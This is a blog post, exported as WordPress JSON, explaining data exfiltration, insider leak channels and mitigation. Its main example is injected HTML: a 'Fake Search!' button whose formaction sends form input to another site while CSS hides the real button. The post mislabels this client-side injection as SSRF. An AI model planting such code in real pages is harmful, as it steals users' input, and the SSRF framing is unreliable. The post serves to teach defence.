{"id":49,"date":"2022-03-17T11:03:00","date_gmt":"2022-03-17T11:03:00","guid":{"rendered":"http:\/\/www.volucer.it\/?p=49"},"modified":"2022-03-19T08:20:23","modified_gmt":"2022-03-19T08:20:23","slug":"sensitive-data-exfiltration","status":"publish","type":"post","link":"https:\/\/www.volucer.it\/?p=49","title":{"rendered":"SENSITIVE DATA-EXFILTRATION"},"content":{"rendered":"<p>\u00a0<\/p>\n<p>\u201c<em>Data exfiltration is the unauthorized transfer of sensitive information from a target\u2019s network to a location which a threat actor controls<\/em>\u201d[02].\u00a0 \u00a0<span style=\"font-size: revert; color: initial;\">For the National Security and Organizations the worst scenario is when the attackers not only steal data (<\/span><strong style=\"font-size: revert; color: initial;\">cyber-espionage) <\/strong><span style=\"font-size: revert; color: initial;\">but also modify them producing <\/span><strong style=\"font-size: revert; color: initial;\">cyber-sabotage<\/strong><span style=\"font-size: revert; color: initial;\">.<\/span><\/p>\n<p>The leakage of sensitive information from a protected network to an external network could result in serious damage to the organizations in terms of reputation, loss of revenue and legal consequences, for example:<\/p>\n<ul>\n<li><strong><em>National Security<\/em><\/strong>: the steal of classified documents may endanger <em>national security<\/em>;<\/li>\n<li><em><strong>Organizations<\/strong><\/em>: proprietary information can be sold to a rival company causing a loss of <em>competitive advantage<\/em>;<\/li>\n<li><strong><em>Citizens<\/em><\/strong>: the spreading of personal sensitive data could have serious privacy and security implications like <em>Identity Theft<\/em> by an ATO attack.<\/li>\n<\/ul>\n<p>Sensitive proprietary digital information could be contained in:<\/p>\n<ul>\n<li><strong>static content: <\/strong>files,\u00a0images, texts, spreadsheets, phone-books, agenda etc.;<\/li>\n<li><strong>dynamic content: <\/strong>multimedia sessions,\u00a0telephone conversations, video conferences, chatting channels (text, video image).<\/li>\n<\/ul>\n<p>The leakage can be done in several ways:<\/p>\n<p>- the data are ex-filtrated without altering the original files;<br \/>- the data are modified: converted in new file format or encrypted;<br \/>- the data are hidden using steganography techniques;<br \/>- the data are ex-filtrated using a combination of the aforementioned techniques.<\/p>\n<p>\u00a0<\/p>\n<p><strong>OUTSIDER ATTACK: CYBER-ESPIONAGE AND CYBER-SABOTAGE BY SSRF<br \/><\/strong><\/p>\n<p>SSRF ( <em>Server-Side Request Forgery<\/em>) is\u00a0 an external attack which lets an attacker send crafted requests from the back-end server of a vulnerable web application. SSRF is commonly used by attackers to target internal networks that are behind firewalls and can not be reached from the external network.<\/p>\n<p>\u00a0<\/p>\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" src=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/SSRF.png\" alt=\"This image has an empty alt attribute; its file name is SSRF.png\" class=\"wp-image-476\"\/><\/figure>\n\n\n<p>\u00a0<\/p>\n<p style=\"text-align: center;\">SSRF - Server Side Request Forgery Schema<\/p>\n<p>\u00a0<\/p>\n<p>It is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. Furthermore it could:<\/p>\n<p style=\"padding-left: 40px;\">\u2714 potentially leaking sensitive data such as authorization credentials;<br \/>\u2714 might even allow an attacker to perform arbitrary command execution.<\/p>\n<p>\u00a0<\/p>\n<p><strong>AN SSRF ATTACK: ABUSED HTML FORM ATTACK MECHANISM<\/strong><\/p>\n<p>An attacker can export users\u2019 sensitive data using \u201c<em>HTML form injection attack<\/em>\u201d. Here is an example of using the <em>formaction<\/em> attribute. According to the HTML 5 specification, it can be used to overwrite the action attribute of its parent form by specifying the URL of the file that will process the input control when the from is submitted.<\/p>\n<p>Le us consider the following normal form in a HTML page:<\/p>\n<pre style=\"padding-left: 40px;\"><span style=\"color: #008000;\">&lt;form <strong>action<\/strong>=\u201dURL\u201d ... &gt;<\/span><br \/><br \/><span style=\"color: #008000;\">list of couples (label, data-box)<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;button type=\u201dsubmit\u201d... \/&gt; label &lt;\/button&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;\/form&gt;<\/span><\/pre>\n<p>We inject a <em>formaction<\/em> attribute:<\/p>\n<pre style=\"padding-left: 40px;\"><span style=\"color: #008000;\">&lt;form action=\u201dURL\u201d ... &gt;<\/span><br \/><br \/><span style=\"color: #008000;\">list of couples (label, data-box)<\/span><br \/><br \/><span style=\"color: #993300;\"><strong>&lt;button type=\"submit\" formaction=\"BAD URL \"&gt; Fake Search! &lt;\/button&gt;<\/strong><\/span><br \/><br \/><span style=\"color: #008000;\">&lt;\/form&gt;<\/span><\/pre>\n<p>The injected form sends its form-data to BAD URL instead of URL.<\/p>\n<p>\u00a0<\/p>\n<p><strong>HTML FORM ATTACK EXAMPLE<\/strong><\/p>\n<p>In this type of attack we use the <strong><em>formaction<\/em><\/strong> attribute which is fully supported by all browsers. It specifies where to send the form-data when a form is submitted by overriding the form's\u00a0 <em>action<\/em> attribute. The following HTML code:<\/p>\n<pre style=\"padding-left: 40px;\"><span style=\"color: #008000;\">&lt;h1&gt;AUTHENTICATION System&lt;\/h1&gt; <\/span><br \/><br \/><span style=\"color: #008000;\">&lt;div align=\"left\"&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;form <strong><span style=\"color: #0000ff;\">action=\"\/action.php\"<\/span><\/strong> method=\"get\"&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;label for=\"nPSW\"&gt;My Password:&lt;\/label&gt;<\/span><br \/><span style=\"color: #008000;\">&lt;input type=\"text\" id=\"iPSW\" name=\"nPSW\"&gt;&lt;br&gt;&lt;br&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;button type=\"submit\"&gt;Submit Password&lt;\/button&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;button type=\"submit\" <strong><span style=\"color: #ff0000;\">formaction=\"\/form_action.php\"<\/span><\/strong>&gt;Submit Password to another page&lt;\/button&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;\/form&gt;<\/span><br \/><span style=\"color: #008000;\">&lt;\/div&gt;<\/span> <\/pre>\n<p>produces:<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/www.volucer.it\/wp-content\/uploads\/2022\/03\/formaction.png\" alt=\"This image has an empty alt attribute; its file name is formaction.png\" \/><\/p>\n<p>\u00a0<\/p>\n<p>by clicking on <em><strong>Submit Password<\/strong><\/em> we have:<\/p>\n<pre>action.php?nPSW=BadPSW123456<\/pre>\n<p>by clicking on <em><strong>Submit Password to another page<\/strong><\/em> we have:<\/p>\n<pre>form_action.php?nPSW=BadPSW123456<br \/><br \/><\/pre>\n<p>The following HTML:<\/p>\n<pre style=\"padding-left: 40px;\"><span style=\"color: #008000;\">&lt;article&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;form name=\"fsbycode\" class=\"s4form\" action=\"http:\/\/www.spunctum.it\" method=\"post\"&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;header&gt;<\/span><br \/><span style=\"color: #008000;\">&lt;h2&gt;Search Guest By Numeric Code&lt;\/h2&gt;<\/span><br \/><span style=\"color: #008000;\">&lt;\/header&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">Codice Numerico: &lt;input type=\"number\" autocomplete=\"on\" id=\"icode\" name=\"icode\" autofocus placeholder=\"Insert Code Number\" &gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;input class=\"SButton\" type=\"submit\" value=\"Search!\"&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;\/form&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;\/article&gt;<\/span><\/pre>\n<p>Produce this form in the web browser:<\/p>\n<p>\u00a0<\/p>\n<p><a href=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/WebForm_Normal_Reduced.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-56 size-full\" src=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/WebForm_Normal_Reduced.jpg\" alt=\"Normal Web Form\" width=\"528\" height=\"257\" srcset=\"https:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/WebForm_Normal_Reduced.jpg 528w, https:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/WebForm_Normal_Reduced-300x146.jpg 300w\" sizes=\"auto, (max-width: 528px) 100vw, 528px\" \/><\/a><\/p>\n<p>The attack on the web server can produce the following\u00a0 abused HTML:<\/p>\n<pre style=\"padding-left: 40px;\"><br \/><span style=\"color: #008000;\">&lt;article&gt;<\/span><br \/><span style=\"color: #008000;\">&lt;form name=\"fsbycode\" class=\"s4form\" action=\"http:\/\/www.spunctum.it\" method=\"post\"&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">&lt;header&gt;<\/span><br \/><span style=\"color: #008000;\">&lt;h2&gt;Search Guest By Numeric Code&lt;\/h2&gt;<\/span><br \/><span style=\"color: #008000;\">&lt;\/header&gt;<\/span><br \/><br \/><span style=\"color: #008000;\">Codice Numerico: &lt;input type=\"number\" autocomplete=\"on\" id=\"icode\" name=\"icode\"<\/span><br \/><span style=\"color: #008000;\">autofocus placeholder=\"Insert Code Number\" &gt;<\/span><br \/><br \/><span style=\"color: #993300;\"><strong>&lt;!-- BEGIN attacker's code --&gt;<\/strong><\/span><br \/><span style=\"color: #993300;\"><strong>\u00a0 \u00a0 \u00a0 &lt;button type=\"submit\" formaction=\"http:\/\/www.volucer.it\"&gt; <\/strong><strong>Fake Search! &lt;\/button&gt;<\/strong><\/span><br \/><span style=\"color: #993300;\"><strong>\u00a0 \u00a0 \u00a0 &lt;style&gt; .SButton {visibility:hidden;} &lt;\/style&gt;<\/strong><\/span><br \/><span style=\"color: #993300;\"><strong> &lt;!-- END attacker's code --&gt;<\/strong><\/span><br \/><br \/><span style=\"color: #008000;\"><strong>&lt;input class=\"SButton\" type=\"submit\" value=\"Search!\"&gt;<\/strong><\/span><br \/><br \/><span style=\"color: #008000;\">&lt;\/form&gt;<\/span><br \/><span style=\"color: #008000;\">&lt;\/article&gt;<br \/><br \/><\/span><\/pre>\n<p>As we can see in the above code, the correct button used for the submission of the form is hidden by using the style applied to the class<strong><span style=\"color: #008080;\"><em> .<span style=\"color: #008080;\">S<\/span>Button <\/em><\/span>&lt;style&gt; .SButton {visibility:hidden;} &lt;\/style&gt;<\/strong>.<\/p>\n<p>The previous HTML shows in the browser:<\/p>\n<p><a href=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/WebForm_Abused_Reduced.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-58 size-full\" src=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/WebForm_Abused_Reduced.jpg\" alt=\"Abused Web Form\" width=\"528\" height=\"257\" srcset=\"https:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/WebForm_Abused_Reduced.jpg 528w, https:\/\/www.volucer.it\/wp-content\/uploads\/2014\/04\/WebForm_Abused_Reduced-300x146.jpg 300w\" sizes=\"auto, (max-width: 528px) 100vw, 528px\" \/><\/a><br \/>By clicking on <strong>Fake Search!<\/strong> button the next HTTP request is produced:<\/p>\n<pre style=\"padding-left: 40px;\">POST <span style=\"color: #ff0000;\"><strong>http:\/\/www.volucer.it\/<\/strong><\/span> HTTP\/1.1<br \/>Host: www.volucer.it<br \/>Proxy-Connection: keep-alive<br \/>Content-Length: 16<br \/>Cache-Control: max-age=0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<br \/>Origin: null<br \/>User-Agent: Mozilla\/5.0 (Windows NT 5.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/34.0.1847.116 Safari\/537.36<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Accept-Encoding: gzip,deflate,sdch<br \/>Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4,he;q=0.2<br \/><br \/>icode=0123456789<\/pre>\n<p>This show how the data are sent to the illegitimate web site \"<em>www.volucer.it\"<\/em> instead of <em>www.spunctum.it (<strong>the web site are only used for demonstration purposes of how the attack scheme works<\/strong>)<\/em>.<\/p>\n<p>\u00a0<\/p>\n<p><strong>INSIDER ATTACK: CYBER-ESPIONAGE AND CYBER-SABOTAGE<\/strong><\/p>\n<p>It is done by a trusted individual with legitimate access to its network and system resources.\u00a0 Compared to external threats, insider threats are more dangerous and difficult to detect and prevent.\u00a0\u00a0<\/p>\n<p>if the insider individual uses the protected network to exfiltrate sensitive information, he could use several type of communication channel:<\/p>\n<ul>\n<li><strong>overt communication<\/strong>: preserving privacy by using encryption;<\/li>\n<li><strong>tunnelled communication<\/strong>: over authorized overt channel;<\/li>\n<li><strong>covert communication<\/strong>: using steganography techniques to cloak the content.<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n<p><strong>ABOUT MITIGATION<\/strong><\/p>\n<p>In order to face this serious problem the security system of a ICT infrastructure must be equipped with mechanisms for prevention, detection, damage limitation and monitoring.<\/p>\n<p><span style=\"color: #008080;\"><strong>PREVENTION<\/strong><\/span><br \/>In order to lower the risk of attacks, unauthorized communication channels should be blocked to prevent the exfiltration of data externally to the organization through compromised applications.<\/p>\n<p><strong><span style=\"color: #ff0000;\">DETECTION<\/span><\/strong><br \/>We need a system to detect when a web site is compromised to promptly react to the attack.<br \/>The use of <em>Sensitive Information Dissemination Detection<\/em> (<strong>SIDD<\/strong>) systems is a mechanism for stopping leakage of sensitive information on time. It monitors the outbound traffic from the protected network, taking actions responsively in case of suspect traffic of packets.<\/p>\n<p><strong><span style=\"color: #ff6600;\">DAMAGE LIMITATION AND RECOVERY<\/span><\/strong><br \/>When the attack is in progress we have to limit the damages by closing any compromised channels.<br \/>After attack detection this is what must be done in order to minimize information leakage:<\/p>\n<p>1) analyze what vulnerability has been exploited and if it is structural of the system or not;<br \/>2) harden the security of the information system to avoid another attack of the same type.<\/p>\n<p><strong><span style=\"color: #0000ff;\">MONITORING<\/span><\/strong><br \/>If the security system doesn't detect any problems, it is highly recommended to run a random deep security check because an information leakage could have been happened in a stealthy mode.<\/p>\n<p>\u00a0<\/p>\n<p><strong>REFERENCES<\/strong><\/p>\n<ol>\n<li>Eric Y. Chen, Sergey Gorbaty, Astha Singhal and Collin Jackson: Self-Exfiltration: The Dangers of Browser-Enforced Information Flow Control, Carnegie Mellon University;<\/li>\n<li>http:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/data-exfiltration-in-targeted-attacks\/;<\/li>\n<li>Yali Liu, Cherita Corbett and Ken Chiang, Rennie Archibald, Biswanath Mukherjee and Dipak Ghosal, SIDD: A Framework for Detecting Sensitive Data Exfiltration by Insider Attack, University of California, Usa;<\/li>\n<li>https:\/\/vladtoie.gitbook.io\/secure-coding\/server-side\/server-side-request-forgery-ssrf: Server-Side Request Forgery (SSRF);<\/li>\n<\/ol>\n\n\n<p class=\"has-text-align-right\"><strong>Last update on 19\/03\/2022<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u201cData exfiltration is the unauthorized transfer of sensitive information from a target\u2019s network to a location which a threat actor controls\u201d[02].\u00a0 \u00a0For the National Security and Organizations the worst scenario is when the attackers not only steal data (cyber-espionage) but also modify them producing cyber-sabotage. The leakage of sensitive information from a protected network <a class=\"read-more\" href=\"https:\/\/www.volucer.it\/?p=49\">...continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,23,3,24],"tags":[],"class_list":["post-49","post","type-post","status-publish","format-standard","hentry","category-cyber-espionage","category-cyber-sabotage","category-cybersecurity","category-fake-news"],"_links":{"self":[{"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/posts\/49","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.volucer.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=49"}],"version-history":[{"count":69,"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/posts\/49\/revisions"}],"predecessor-version":[{"id":527,"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/posts\/49\/revisions\/527"}],"wp:attachment":[{"href":"https:\/\/www.volucer.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=49"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.volucer.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=49"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.volucer.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=49"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}